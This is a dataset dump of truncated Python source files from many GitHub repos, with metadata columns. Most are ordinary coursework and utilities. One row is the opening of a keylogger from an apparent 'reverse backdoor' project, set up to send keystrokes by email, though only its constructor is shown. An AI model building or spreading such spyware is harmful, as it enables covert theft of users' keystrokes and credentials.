blob_id
large_string
repo_name
large_string
path
large_string
src_encoding
large_string
length_bytes
int64
score
float64
int_score
int64
detected_licenses
large list
license_type
large_string
text
string
download_success
bool
fbaa10223f9a12b0c76228f0d11a9f9412eaac98
YinminZhang/Reinforcement-Learning
/PPO/model.py
UTF-8
2,275
2.90625
3
[]
no_license
""" The Network of Actor and Critic. """ import torch import torch.nn as nn import torch.nn.functional as F from collections import OrderedDict from torch.distributions.normal import Normal import numpy as np def weight_init(models): for m in models.modules(): if isinstance(m, nn.Linear): nn.i...
true
bd1d17e3163a569169674a45d03069fcd116f50b
tstrotherIV/critters_and_croquettes_PythonClassPractice
/animals/rabbit.py
UTF-8
515
3.140625
3
[]
no_license
from .animals import Animal from movements import Hopping class Rabbit(Animal, Hopping): def __init__(self, name, species, shift, food, chip_num): Animal.__init__(self, name, species, food, chip_num) Hopping.__init__(self) self.location = "petting area" self.shift = shift def ...
true
f347cf4db886b1eb7996a7983274892e2f136d0d
NevermindZZT/letter-shell
/tools/shellTools.py
UTF-8
2,332
2.640625
3
[ "MIT" ]
permissive
#!/usr/bin/python # -*- coding:UTF-8 -*- """ shellTools Author Letter(nevermindzzt@gmail.com) Date 2020-04-14 Copyright (c) Letter 2020 """ import os import sys import re FILE_PATTERN = r"^.*?\.(cpp|c|h)$" SHELL_EXPORT_PATTERN = r"^\s*SHELL_EXPORT_(CMD|CMD_AGENCY|VAR|USER|KEY|KEY_AGENCY|CMD_GROUP|PASS...
true
f0f34b9b0788f9529cccf39e102ad9e42bac8cab
brainode/MDXMeasureParse
/parse.py
UTF-8
1,956
2.640625
3
[]
no_license
import codecs,re,sys fileName = sys.argv[1] try: measureGroup = sys.argv[2] except IndexError: measureGroup="" startMemberDefine = "CREATE MEMBER CURRENTCUBE" endMemberDefine = "ASSOCIATED_MEASURE_GROUP = '"+measureGroup+"'" memberBody = False skipFirstLine = False class MeasuresArray: def __init__(self...
true
c3e1138c3cef9c93c4ea438e6fbf32ab6d39be35
adirz/sample-projects
/samle projects/school projects/intro to CS/ex2/ex2_square.py
UTF-8
1,164
3.84375
4
[]
no_license
#!/usr/bin/env python3 def square_printing(n): size = 2*n +1 temp_line = "" #temporery line - the string to be printed in that line x_count = 0 # point on the X axis y_count = 0 # point on the y axis while y_count < size: if y_count == 0 or y_count == size-1: while x_count < size...
true
3b48858aaf16947e622318e0389126ead00b0fc9
cnu-cse-datacom/2-packetcapture-ywca15984
/DC02_02_201502059_Baeminhyeok.py
UTF-8
3,883
2.796875
3
[]
no_license
import socket import struct def parsing_ethernet_header(data): ethernet_header=struct.unpack("!6c6c2s",data) ether_src=convert_ethernet_address(ethernet_header[0:6]) ether_dest=convert_ethernet_address(ethernet_header[6:12]) ip_header="0x"+ethernet_header[12].hex() print("======ethernet header...
true
1765b0b4b19e429ccd61203e56df76831c740d5d
daneelka11/gcode2hpgl
/gcode2hpgl.py
UTF-8
12,639
2.921875
3
[ "MIT" ]
permissive
# -*- coding: utf-8 -*- # Дорогие друзья, я не программист, а просто любитель # Я во многом не разбираюсь в программировании, потому тут может быть много говно-кода # Но оно как-то работает. Не кидайте тапками :) from colorama import init # Цветные буковки from termcolor import colored # Тоже цветные бук...
true
97b73e4bf95dae780df9123659531075a8d6c28e
fr293/brightfield_processing
/creep_graph.py
UTF-8
835
2.921875
3
[]
no_license
from pyfiglet import Figlet import time import sys from Tkinter import * import tkFileDialog from os.path import exists import numpy as np f = Figlet(font='isometric1') print f.renderText('Ferg') time.sleep(1) g = Figlet(font='isometric3') print g.renderText('Labs') time.sleep(1) print('Welcome to the graphical creep...
true
0bcf59866fd00db8dc5e2d5be405ca1433962082
wangruicsu/code_from_Daily_research
/layerdata2pic.py
UTF-8
4,905
2.8125
3
[]
no_license
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Tue Nov 27 11:06:16 2018 @author: raine """ #!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Sun Nov 18 2018 @author: raine """ """ |-----------------------------------------------| |the proposed strategy | |---------...
true
ad14b279dcbf13165363ae99755b9e02da4cf13b
Timhobson-source/WEIGHTED-HYPERNETWORKS
/NETWORKSprojectcode2.py
UTF-8
5,488
2.71875
3
[]
no_license
#!/usr/bin/env python # coding: utf-8 # In[113]: import hypernetx as hnx import matplotlib.pyplot as plt import networkx as nx import numpy as np import pandas as pd import random as rand import cmath from sklearn.linear_model import LinearRegression from math import * from movie_data import moviedata, movieratings...
true
4a26c99251b880758f79c2952225d95a36adc588
HuPhngYu/PyGitTest
/MainTest.py
UTF-8
812
3.546875
4
[]
no_license
def main(): cassandra = Warrior() sera = Rogue() vivienne = Mage() print('Cassandra is in your party:') for character in (cassandra, sera, vivienne): in_fight(character) class Character: def active(self): return self.strings['active'] def passive(self): return self...
true
8ae26be5a02a8ff7883b3e243f13c992c244a300
sestami/cip-v-sudu
/vypocet davky/bethe_puvodni.py
UTF-8
3,998
2.984375
3
[]
no_license
""" Bethe Bloch equation and calculation of energy loss along trajectory author: Bob Wimmer date: April 27, 2011 email: wimmer@physik.uni-kiel.de """ from math import sqrt, log, pi from scipy.constants import N_A, epsilon_0, e import numpy as np from scipy.integrate import quad #Define some natural constants mp = 1...
true
318abf9a8d7cd66d95811d74d2d615b92b5257b2
crdoconnor/wikigps
/wikigps/cli.py
UTF-8
4,958
2.78125
3
[ "Apache-2.0" ]
permissive
"""Command line interface to saddle.""" # coding: utf-8 import os import sys import requests import json import re import fractions from clip import App, ClipExit, arg, opt, echo app = App() def get_coordinates(page): """Request a wikipedia page from its name and parse and get back the coordinates in a tuple.""" ...
true
079650ead3c5ed03f718c3d2b025d64ddc59b229
zhentestnice/selenium_test1
/day3/mainTest.py
UTF-8
200
2.515625
3
[]
no_license
def printHW(): print("333") #main if 语句 只有执行当前文件的时候才会被执行 #所以一般main if语句用来对当前文件做单元测试 if __name__ == '__main__': printHW()
true
be2e4d3641cb644ab65c308c372002dbaac1a130
ramhue/MarioProjectCPSC386
/gameStats.py
UTF-8
1,567
3.484375
3
[]
no_license
# Displays game stats at top of screen # Game stats includes Score, Coins, Time, Lives import pygame # Global Color WHITE = (255, 255, 255) class GameStats(): def __init__(self, screen, settings): self.screen = screen self.settings = settings # Score display text self.text_color...
true
30e10eeaf7245ea3d82ed08b328cd65713265391
oblakulovsardor/Start_python
/if elif else.py
UTF-8
2,314
2.609375
3
[]
no_license
# # # # # kun=(input('Bugun kun nima?\n>>>')) # # # # # if kun.lower()=='shanba' or kun.lower()=='yakshanba': # # # # # print('Bugun dam olish kuni\n') # # # # # else: # # # # # print('bugun ish kuni') # # # # kun=input('Bugun kun nima?\n>>>') # # # # harorat=float(input('Bugun harorat nechi?\n>>>')) #...
true
0a38080c28a07a90917d3e8725e1c2582e7b626e
sahil3112/Python-Reverse-Backdoor
/Python-Reverse-Backdoor/keylogger.py
UTF-8
1,786
2.765625
3
[]
no_license
#! /usr/bin/evn python import pynput import threading import smtplib class Keylogger: def __init__(self, time_interval, smtp_server_name, smtp_server_port, sender_email, password): self.log = "" self.intetval = time_interval self.sender_email = sender_email self.passwo...
true
099e9ebe47ba0debde08449a5bc36b0faadb3648
Anshul1196/leetcode
/challenges/2020/07/W2/D7.py
UTF-8
579
3.9375
4
[]
no_license
""" Solution for July LeetCoding Challenges Week 2 Day 7: Angle Between Hands of a Clock """ class Solution: """ Compute absolute positions of each hand and get their minimum distance - Space Complexity: O(1) - Time Complexity: O(1) Runtime: 20 ms / 99.58% Memory Usage: 13.8 MB / 62.34% ""...
true
680ef6aa32f36597f2a894371d3553df097109c2
gwhgo/PythonProgramming
/System/Threads/thread-while.py
UTF-8
314
2.71875
3
[]
no_license
import threading,time import _thread def client(numId): while True: time.sleep(1) print(numId) for i in range(10): # Note: This will cause endless loop in the first thread threading.Thread(target=client,args=(i,)).start() # _thread.start_new_thread(client,(i,)) #time.sleep(10)
true
79cebcfb1564c125b207755dd1078cf6eef661e4
xiaohanghang/competition_sample_code
/src/ecs/predictor.py
UTF-8
4,249
2.671875
3
[ "MIT" ]
permissive
from utils import compare_time,divide_time from utils import (start_time_0,start_time_1,start_time_2, end_time_0,end_time_1,end_time_2,end_time) import datetime ''' flave1:[0,1,1,0,1,,,,,] flave2:[1,2,4,5,,,,,,] ''' def process_flave_count(data_source): ''' sum of count of flavor :param...
true
c5c65bf70b208ec814c4bf7a79bfc557967ea7b6
ilkermanap/hardware
/site.py
UTF-8
3,459
3.1875
3
[]
no_license
class Address: def __init__(self, adr, postcode, city, country): self.address = adr self.postcode = postcode self.city = city self.country = country class Point: def __init__(self,x,y): self.x = x self.y = y def getCoords(self): return(self...
true
1d3445882b72d7d13b61be63fb65226f424fcf7a
Harrison5692/Bioinformatics_work
/Code/Python/Simple/DNA_match.py
UTF-8
359
3.203125
3
[]
no_license
import difflib from difflib import SequenceMatcher dna1 = 'GTGTGACTGGGTCAAAAAAAAA' dna2 = 'GTGTGAGTTAATTCTAACTTAG' #searches for the same substring within the two sequences and provides location and length match = SequenceMatcher(None, dna1, dna2).find_longest_match(0, len(dna1), 0, len(dna2)) print match print (d...
true
aee2a2d2d48e6543ada4815742f8a2e798293287
snicoper/ofervivienda
/tests/unit/utils/test_images.py
UTF-8
2,018
3.015625
3
[]
no_license
import os from unittest import TestCase from PIL import Image from tests.unit.images import create_image, delete_image, get_image_path from utils.images import ImageResize class ImageResizeTest(TestCase): """Test redimensionar de imágenes.""" def setUp(self): create_image(size=[300, 150]) s...
true
d7c6abcb55322b819208588a665e80468dd341ff
jacqueline-homan/python2.7_tutorials
/calendars.py
UTF-8
1,380
4
4
[]
no_license
import calendar # Create a plain text calendar c = calendar.TextCalendar(calendar.SUNDAY) str = c.formatmonth(2015, 11) print str # Create an HTML of a formatted calendar. NOTE: When you run this # in your terminal, it outputs the equivalent of what you'd see # if you ran the 'cat' <filename> command to inspect an HT...
true
0d64f841be5d304ea6bb7262c5249751b8fecede
brittany-morris/Bootcamp-Python-and-Bash-Scripts
/python/pure_luck.py
UTF-8
546
3.109375
3
[]
no_license
#!/usr/bin/env python3 import sys import socket HOST = sys.argv[1] PORT = int(sys.argv[2]) with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock: conn_info = (HOST, PORT) sock.connect(conn_info) prompt = sock.recv(1024) text = prompt.decode() # print(text) guess = 0 while text.startswith('Pick a num...
true
4b42c7442efcdf66e720c631da28acdf9a829c24
LewisParr/combat-sim
/objective.py
UTF-8
2,609
3.28125
3
[]
no_license
# -*- coding: utf-8 -*- # objective.py import numpy as np import matplotlib.pyplot as plt class Objective(object): """ Objective is base class providing an interface for all subsequent (inherited) objectives. """ def identifyThreats(self, env): """ identifyThreats will return regi...
true
b7514801d91a5e8bbe84d1620e29d8ed526d6249
zhlthunder/python-study
/python 语法基础/d15_自动化办公与鼠标键盘模拟/7.播放音乐/music_play.py
UTF-8
465
2.84375
3
[]
no_license
#!/usr/bin/env python # -*- coding: utf-8 -*- #author:zhl import pygame,time class Music: def __init__(self,path): self.path=path ##初始化: pygame.mixer.init() ##加载音乐 track=pygame.mixer.music.load(self.path) def play(self): pygame.mixer.music.play() ...
true
1507f118e83ba7f3266ea908460f03017eaeec66
ksgwxfan/ksgwxfan.github.io
/sectorthermalscan/rgb.py
UTF-8
802
3.109375
3
[]
no_license
r = 255 g = 0 b = 0 rgblist = [] while (r,g,b) != (0,0,255): if r == 255 and g < 255 and b == 0: g += 1 elif g == 255 and r > 0: r -= 1 elif g == 255 and b < 255: b += 1 elif b == 255 and g > 0: g -= 1 rgblist.append((r,g,b)) c = 1.5 for x in range(0,len(rgblist),...
true
f8751ba1c015f8d1a615de503270b3cdce3dc309
shrutiguptabu/Information-Storage-and-Retrieval
/WordNormalizer.py
UTF-8
1,090
3.734375
4
[]
no_license
#import PorterStemmer from nltk.stem import PorterStemmer # Efficiency and memory cost should be paid with extra attention. # Essential private methods or variables can be added. class WordNormalizer: def __init__(self): # initialize Porter Stemmer self.stemmer = PorterStemmer() ...
true
00900ad40cc98951a386500d66bc12ef0ba18e05
chanin-shim/SWEA
/d1/2027_대각선출력하기/sol1.py
UTF-8
612
3.625
4
[]
no_license
my_list = ['+'] * 5 # my_list 가 없으면 안돌아가서 일단 만듦. ​ for i in range(len(my_list)): my_list = ['+'] * 5 # ['+','+','+','+','+'] 리스트를 만듦 my_list[i] = '#' # i자리의 +를 #으로 교체 my_word = '' # 결과값을 담을 수 있는 빈 스트링 for j in my_list: my_word += j #리스트의 원소들을 하나씩 꺼내서 my_word로 str으로 묶어줌 ...
true
1eae6e3d7e6d810203b78bb7d04c3311db526336
DexterInd/DexterEd
/DexterSetup/DexterSetup.py
UTF-8
9,747
2.6875
3
[]
no_license
import wx import os import pickle from datetime import datetime import subprocess from collections import Counter import threading # import psutil # import signal # Commenting # Test # Space out commands. # Executable # References # http://www.blog.pythonlibrary.org/2010/03/18/wxpython-putting-a-background-image-on-a...
true
cf10ad6a5f9e57ca705dac56d4b30a2fc6202466
26huang/django_admin_console_demo
/admin_console/scripts/insert_data.py
UTF-8
1,683
2.765625
3
[]
no_license
from apps.accounts.models import Customer, Gender, ZipCode, Status # Insert lookup tables def add_gender_lookup(gender_list): for gender in gender_list: try: g = Gender(gender=gender) g.save() except BaseException as e: print(e) gender_list = ['Male', 'Female'] ...
true
7fdc87f1a5f0dc3ed48ff3c78340fe2c8ecba9a7
atxlan/dobbins-or-bobbins
/tests.py
UTF-8
4,358
3.09375
3
[ "MIT" ]
permissive
import random import unittest from bot import Game, GameState class TestGame(unittest.TestCase): def test_initial_state(self): g = Game() self.assertTrue(g.instate(GameState.UNSTARTED)) self.assertEqual(str(g), 'In state "GameState.UNSTARTED" with players []') def test_giddy_up(self)...
true
b8ac0c176169916f7a9d0e0b7d8b9faee3998c39
zaurneo/td3-sac-bipedal-walker-hardcore-v3
/archs/trsf_models.py
UTF-8
4,875
2.765625
3
[]
no_license
#https://www.researchgate.net/publication/320296763_Recurrent_Network-based_Deterministic_Policy_Gradient_for_Solving_Bipedal_Walking_Challenge_on_Rugged_Terrains import numpy as np import torch import torch.nn as nn import torch.nn.functional as F import torch.optim as optim import gym import random from .utils.transf...
true
a4292666ca1fa93ab914d3f61e5ccc280c405884
SeliKReeD/digit-recognizer
/model-training/data_visualization.py
UTF-8
162
2.875
3
[]
no_license
import matplotlib.pyplot as plt def display_digit(digit): image = digit.reshape([28, 28]) plt.imshow(image, cmap=plt.get_cmap('gray_r')) plt.show()
true
5f63d9f35344ac869370b5122eab37721d544e7a
muyie77/Fibonacci
/fibonacci2.py
UTF-8
418
3.9375
4
[]
no_license
def startingNumber(start = int(input("Starting number: "))): default = 0 return default, start def fibonacci(terms = int(input("Number of terms: "))): left, right = startingNumber() lst = [] for i in range(terms): lst.append(right) for j in lst: print(f"{j}",...
true
bf0193d92679224c26f634819643918ffbb20e76
nusseds/new_spirit_mars
/scripts/ackerman_6_wheels.py
UTF-8
9,819
2.546875
3
[]
no_license
#!/usr/bin/env python import time import rospy from std_msgs.msg import Float64 from geometry_msgs.msg import Twist class CuriosityMarsRoverAckerMan(object): def __init__(self): rospy.loginfo("CuriosityRoverAckerMan Initialising...") # TODO: Ackerman stuff self.distance_axis = 0.3 ...
true
ff6b45a8249bf58b9ba1b9ca954dcf7fb564d179
umhaneul/Programming-Python-
/2학기/IX.프로젝트/auto.py
UTF-8
1,080
3.046875
3
[]
no_license
#PyAutoGUI 설치하자 #pip install pyautogui import time import pyautogui as pag if __name__ == '__main__' : # while True: # x, y = pag.position() # print("x : {} \ty: {}".format(x,y), end="\r") #r=내리지 않고 맨 앞으로 # pag.moveTo(230,374, duration=2) #~어디 이동 # pag.move(100,200, duration=2) #~만큼 ...
true
fe5324ce1529a3d949c44a0545ea38986832189d
brex-corndel/module_1
/goto.py
UTF-8
221
3.21875
3
[]
no_license
import os with open('step3.txt', 'r') as f: data = f.readlines() for x in data: print("Read Line: %s" % (x)) f.seek(f+1, os.SEEK_CUR) pos = f.tell() print("Current Position: %d" % (pos))
true
b33e6b43e0ccdcc00ce644e1ee36a43675895a06
FreeworkEarth/yolo_streamer
/processes/process_visualizer.py
UTF-8
1,355
2.796875
3
[]
no_license
import cv2 import time import os import numpy as np def process_visualizer(stop_process, input_queue, input_queue_lock, output_queue, output_queue_lock): count = 0 font = cv2.FONT_HERSHEY_SIMPLEX fontScale = 0.75 while not stop_process.value: frame = None scores = None boxes ...
true
eb03fdc40ceb89e88630a4db5dd42d09b36b68b7
niccolo-p/LabTools
/LabTools/latex.py
UTF-8
10,464
2.671875
3
[]
no_license
# LabTools - latex.py # Copyright 2019 Luca Arnaboldi from .utils import significant_digits, move_decimal, most_significant_digit from .utils import pair_decimal_with_uncertainty, unpack_unarray from .utils import percentual_error_digit import numpy DEFAULT_SIGNIFICANT_DIGITS = 4 DEFAULT_UNC_DIGITS = 2 DEFAULT_UN...
true
a5f23fc792f765187990014b4cf4b8084e92b71d
alex-miller-0/eth-trading
/API/Poloniex.py
UTF-8
2,900
2.75
3
[]
no_license
## Retrieve ETH/XBT exchange price data from bitmex import requests, json import numpy as np from datetime import datetime, timedelta import time import sys, os sys.path.append(os.path.realpath("%s/.."%os.path.dirname(__file__))) from util import mysql_util # Plug into an API to get the price (here I use BitMEX becaus...
true
3f6c474d846d2e242044ffa7c8acf797a2fe043f
KingJem/sh_fangjia
/shfangjia/shfangjia/spiders/spider2.py
UTF-8
1,542
2.59375
3
[]
no_license
#!/usr/bin/env python # encoding: utf-8 """ @version: v1.0 @author: King @contact: qqqqivy@gmail.com @file: spider2.py.py @time: 2019/4/15 23:10 """ import scrapy from ..items import ShfangjiaItem class FangjiaSpider(scrapy.Spider): name = 'fangjia2' allowed_domains = ['https://sh.esf.fang.com/'] s...
true
a5b467c5627c2823fae66cd63156f9afd720b7d4
jackparsonss/Automation-Scripts
/toObsidian.py
UTF-8
570
3.28125
3
[]
no_license
#!/usr/bin/env python3 import shutil, os """ This program will take any files in my downloads folder and move it into my resources folder in my obsidian vault """ def main(): source_path = "/Users/jackparsons/Downloads/" destination_path = "/Users/jackparsons/Library/Mobile Documents/iCloud~md~obsidian/Docu...
true
bfab4ce7082aec323ceb2c56cedf5d4719601809
nurack/eric-pcc-solutions
/PCC3_10.py
UTF-8
549
3.734375
4
[]
no_license
rivers = ['Nile', 'Ganga', 'Narmada', 'Jordan', 'Amazon'] rivers.append('Bramhaputra') print(rivers) print(rivers[1]) print(rivers[2].title()) print(rivers[-1]) rivers[2] = 'Yangtze' print(rivers) rivers.insert(2, 'Mississippi') print(rivers) del rivers[3] largest = rivers.pop() print(f"{largest} is the largest river."...
true
3201ff10ed6e51b3e6ccd7f22eeca2c84a4c6a5f
DoubleGremlin181/Talk-To-Reddit
/Restore.py
UTF-8
4,010
2.765625
3
[ "MIT" ]
permissive
#Code reffered from https://github.com/keras-team/keras/blob/master/examples/lstm_seq2seq_restore.py from keras.models import Model, load_model from keras.layers import Input import numpy as np batch_size = 64 epochs = 100 latent_dim = 256 input_data = 'train.from' target_data = 'train.to' input_texts = [] target_te...
true
a0c65b67456eef07b9dec221d063dfecff03cc43
luistorm/GitRelearnPython
/test.py
UTF-8
253
3.34375
3
[]
no_license
print "Hello World!" print "Hola Isis!" def Imprimir(cadena,n): for i in range(n): print cadena Imprimir("Cadena de prueba",10) lista = ["carro", "casa", "camion", "perro", "gato", "raton", "vaca","elefante", 1,2,3,4,5] for elem in lista: print elem
true
c3d3723c90c7517e06ff5874dabd548c8bc8d061
nigelzor/advent-of-code
/2018/day14_2.py
UTF-8
922
3
3
[]
no_license
def main(target): recipes = [3, 7] elves = [0, 1] def combine(): total = 0 for e, elf in enumerate(elves): total += recipes[elf] for d in [int(c) for c in str(total)]: recipes.append(d) for e, elf in enumerate(elves): elves[e] = (elves[e] ...
true
030f383c9e4655cc1e9e4fa0bdc2b467d963acd2
Yarmoski/Colorfight-AI
/RuntimeTerrorsAI.py
UTF-8
10,293
2.8125
3
[]
no_license
from colorfight import Colorfight import time import random from colorfight.constants import BLD_GOLD_MINE, BLD_ENERGY_WELL, BLD_FORTRESS, BUILDING_COST, HOME_COST, BLD_HOME import math import random def play_game( game, \ room = 'public', \ username = 'RuntimeTerror', \ password = ...
true
801a80c77cd740d4b2c805c8b04987f3f3448a16
blair2020/gdal
/raster_clip_overlap2.py
UTF-8
9,912
2.84375
3
[]
no_license
# !/usr/bin/python3 # -*-coding:utf-8-*- # Author: blair liu # CreatDate: 2021/4/1 11:15 # Description: """ 通用图像裁剪: 支持16位和8位 支持4通道3通道1通道 支持超大图像 支持矩形裁剪 支持overlap """ import os import math from osgeo import gdal import numpy as np gdal.UseExceptions() def get_stretch_scale(array, black_edge=False): if not black...
true
a7fd32e6807620bf3606fc80cb863f3a1f13f432
DominiqueGregoire/cp1404practicals
/prac_01/loops.py
UTF-8
491
4.375
4
[]
no_license
for i in range(1, 21, 2): print(i, end=' ') print() # a. count in 10s from 0 to 100 for i in range(0, 101, 10): print(i, end=' ') print() # b. count down from 20 to 1 for i in range(20, 0, -1): print(i, end=' ') print() # c. print in stars number_of_stars = int(input('Enter the number of stars: ')) for...
true
407eee00f05bf0cf0b16dcb18b681000cfe11119
rosoareslv/SED99
/python/spaCy/2018/8/test_phrase_matcher.py
UTF-8
915
2.796875
3
[ "MIT" ]
permissive
# coding: utf-8 from __future__ import unicode_literals import pytest from spacy.matcher import PhraseMatcher from spacy.tokens import Doc def test_matcher_phrase_matcher(en_vocab): doc = Doc(en_vocab, words=["Google", "Now"]) matcher = PhraseMatcher(en_vocab) matcher.add('COMPANY', None, doc) doc = ...
true
90f01acb75c17a4d60616190ffd5eaec5aa923a3
Rossmallow/CSC380_Assignments
/2-Dots_and_Boxes/play.py
UTF-8
3,269
4.0625
4
[]
no_license
# Ross Nelson CSC380 Assignment 2: Dots and Boxes # February 9th, 2020 # play.py import sys import os from game import play args = sys.argv args_len = len(sys.argv) # Prints a help message along with an optional message def printHelp(message=""): if (len(message) > 0): print(message) ...
true
1727b13d7744afc0ee37c06d265da316dbac50d3
Muhammad-Yousef/Data-Structures-and-Algorithms
/Queue/Double-Ended Queue/Array-Based/DEQueueArray.py
UTF-8
2,931
3.640625
4
[]
no_license
class DEQueueArray: def __init__(self, n): self.SIZE = n self.elements = [0] * self.SIZE self.FRONT = -1 self.REAR = -1 #Check whether the Queue is Empty or not def isEmpty(self): return self.FRONT == -1 #check whether the Queue is Full or not def isFull(se...
true
4276e819649e033cc593b5eeccabebbc0ef90978
benignavesh/python-tim-buchalka
/Python programming/control flow/challenge3.py
UTF-8
647
4.9375
5
[]
no_license
# Modify the program below to use a while loop to allow as many guesses as necessary. # # The program should let the player know whether to guess higher or lower, and should print a message when the guess is correct. A correct guess will terminate the program. # # As an optional extra, allow the player to quit by e...
true
13c194350d1a75cf27de3402b6d41de632203c3a
omercadopopular/cgoes
/tutorial/python/Time Series/3. Output Gap and Taylor's Rule/3. Output Gap and Taylor Rule.py
UTF-8
2,442
3.34375
3
[]
no_license
# -*- coding: utf-8 -*- """ Time Series Econometrics with Python Coded by Carlos Góes (andregoes@gmail.com) Chief-Research Officer, Instituto Mercado Popular Last updated on March 20th, 2017 """ # Import all packages import numpy as np import scipy as sp import pandas as pd import matplotlib.pyplot as plt import st...
true
1ebab05d33cbb5b3c3ef603ccc777a738bcc9735
trinhgiahuy/RealTimeSystem
/exercises/08/scripts/csv2minmax.py
UTF-8
477
2.78125
3
[]
no_license
#!/usr/bin/env python import math import fileinput bottom = None top = 0 for line in fileinput.input(): if line.strip() != "": latency=int(line.split(",")[1]) if bottom is None: bottom = latency elif latency < bottom: bottom = latency if latency > top: ...
true
e17da5cd95aeae9b3595a0eadc1db58f573704b4
ksthacker/python
/level-1/s03/guvi-L1-s03-py09.py
UTF-8
62
2.6875
3
[]
no_license
import sys, string n = int(input()) print(n//60, n%60)
true
b3608f70989c5e4060719487f682ee0acca3c3de
razerboot/DataStrcutures-and-Algorithms
/python/btree_diameter_thread.py
UTF-8
3,530
3.53125
4
[]
no_license
class Node(): def __init__(self,key): self.left=None self.right=None self.val=key #insertion in a bst # recursively def insert_recur(root,value): if value>root.val: if root.right==None: root.right=Node(value) else: insert_recur(root.right,value) ...
true
4f042b7e769fcb99a19e22c4e52cf717e82a4263
donkelly55331/anagrams2
/python/anagram2.py
UTF-8
329
3.671875
4
[]
no_license
def anagrams_for(word, list_of_words): # anagrams have the same letters as the source, but the sequence is not meaningful # we will sort both the source and the word to be tested word = sorted(word) result = [] for item in list_of_words: if sorted(item) == word: result.append(item) retu...
true
ab43b21fde2a5f59a5720e6f76d3a19e706a7b9e
lucasmcgregor/git_decay
/modules/git/gitDTO.py
UTF-8
3,218
3.21875
3
[]
no_license
## MODULE FOR GIT DATA OBJECTS class GitRepoObj: def __init__(self): self.files = {} self.removed_files = {} self.start_date = None self.last_modified_date = None def get_file(self, path): return self.files.get(path) def get_all_files(self): return self.files.values() def get_all_removed_files(self)...
true
16393a961424430daff126cadf405da4ba1f826c
sandwu/-leetcode
/单例等模式/singleton.py
UTF-8
1,019
3.296875
3
[]
no_license
class Singleton: _instance = None def __new__(cls, *args, **kwargs): if cls._instance is None: cls._instance = object.__new__(cls, *args, **kwargs) return cls._instance import threading class Singleton2: lock = threading.Lock def __new__(cls, *args, **kwargs): ...
true
21138cbe5bfd4e3e667f4b4c75fb3873b185df34
TeddTech/NLP_Firm_Prediction
/src/scripts/subset_data_script.py
UTF-8
2,631
3.109375
3
[ "MIT" ]
permissive
""" Subsetting the Compustat data Sample usage from terminal: python subset_data_script.py compustat_199501-201803.csv "cik" "str" compustat_selected_cols.csv common_cik_list.csv compustat_subset.csv Args: input_file (csv) : Path to original compustat data uid (str...
true
e492df425544c893d1cbc89825185f9608f53ca2
Jonathan-aguilar/DAS_Sistemas
/Ago-Dic-2019/Ricardo_Romero_Medina/Ordinario/ORMDB.py
UTF-8
2,775
2.671875
3
[ "MIT" ]
permissive
import peewee import episodio import ubicacion import personaje db = peewee.SqliteDatabase('Ordinario/BaseDatos/rickandmorty.db') class personajes(peewee.Model): Id = peewee.TextField(unique=True) Nombre = peewee.TextField() Status = peewee.TextField() Species = peewee.TextField() Origin = peewee....
true
12dca854ee8efc67b68cdde9b17004e76540c88b
DaHuO/Supergraph
/codes/CodeJamCrawler/16_1_1_neat/16_1_1_logieeyore_pa.py
UTF-8
747
3.046875
3
[]
no_license
import sys def print_result(line_cnt, result): print "Case #%s: %s" % (line_cnt, result) def last_word(s,r,line_cnt): for h in range(0,len(s)): current = s.pop(0) first=r[0] last=r[-1] if current >= first: r.insert(0,current) else: r.append(curre...
true
37364be0d3345d57e650ef9488b53b47b25162ea
precimilo/mcandre
/python/aio.py
UTF-8
636
3.140625
3
[]
no_license
"""Andrew's Input/Output module""" __author__="Andrew Pennebaker (andrew.pennebaker@gmail.com)" __date__="21 Dec 2005 - 27 May 2006" __copyright__="Copyright 2005 Andrew Pennebaker" __version__="0.2" def getByteArray(s): return [ord(e) for e in s] def readAll(f): byteArray=[] line=f.readline() while line!="": ...
true
5d1567ea04a0334516d65f7bc2b10db4db5fcc23
brettcvz/soundbyte-modules
/module_example.py
UTF-8
361
2.859375
3
[ "MIT" ]
permissive
import module import time class ExampleModule(module.Module): def run(self): super(ExampleModule, self).run() while self.running: print "Hello World" time.sleep(1.0) def quit(self): print "Goodbye World" super(ExampleModule, self).quit() start = Examp...
true
5dfe39b74f43cb89577117fce0942ac9926ee53c
Elicherla01/fb-chat-bot
/quiz.py
UTF-8
5,776
2.890625
3
[ "MIT" ]
permissive
import io import stats import random import re import time HIDDEN_CHAR = "-" # JSON field names QUIZ = "quiz" QUESTIONS = "total_questions" ANSWERED = "total_answered" LAST_ANSWERED = "last_answered" USERS = "users" USER_COMBO = "combo" POINTS = "points" class Quiz(): """Module responsible for all quiz related t...
true
3ea0bcc8e8d7a424d763c569d998ff47bd135402
barak669/Python3-2020
/Python3/Semester_OOP 3/Class-task_Mobile.py
UTF-8
1,590
2.84375
3
[]
no_license
class Mobile: def __init__(self,virsion_num, isAndroid, memory_size): self.virsion_num=virsion_num self.isAndroid=isAndroid self.memory_size=memory_size self.used_memory=0 self.app_array=[] def print_info(self): print(f" virsion_num: {self.virsion_num}, isAndroi...
true
cc3caf1e28048adce54e69b3a49cd65916b91857
r7wang/algorithm
/src/problem/expression_parsing/__init__.py
UTF-8
3,509
4.25
4
[]
no_license
""" Implement an expression parser that will solve an expression continue numbers and the following symbols: - '(' - ')' - '+' - '-' - '*' - '/' """ from typing import Callable, Dict, Optional class ExpressionFormatException(ValueError): """ Indicates that the expression is incorrectly...
true
daa76962916a573b21f22e0f5b5aa310a3bf484f
Repaion24/Latte_Is_Horse_Project
/Opensource/tower!!.py
UTF-8
8,885
2.515625
3
[]
no_license
import pygame import time from tower.tower import tower from tower.shorttower import short_tower from tower.longtower import long_tower from tower.supporttower import support_tower pygame.init() class enemy : def __init__(self) : self.x = 0 self.y = 0 self.health = 10 self.enemy_im...
true
3970ba63d058042e9b3486744c8e24a1b640ab9c
matthiasme/MLA
/Tests/status.py
UTF-8
979
2.796875
3
[]
no_license
""" Created on Fri Dec 18 16:52:12 2020 @author: maxbuecker """ import pandas as pd import matplotlib.pyplot as plt import numpy as np import tikzplotlib as tikz def auswertung(file): # %% import txt filename = file data = pd.read_csv(filename,sep=',',header= True, encoding='utf-8') time = data.il...
true
d9f0ea22334e1943f2ebcd57a01ab0633ee311bb
sofo4ka/Python_Level_1
/Lesson_2/hw02_easy.py
UTF-8
1,881
4.5
4
[]
no_license
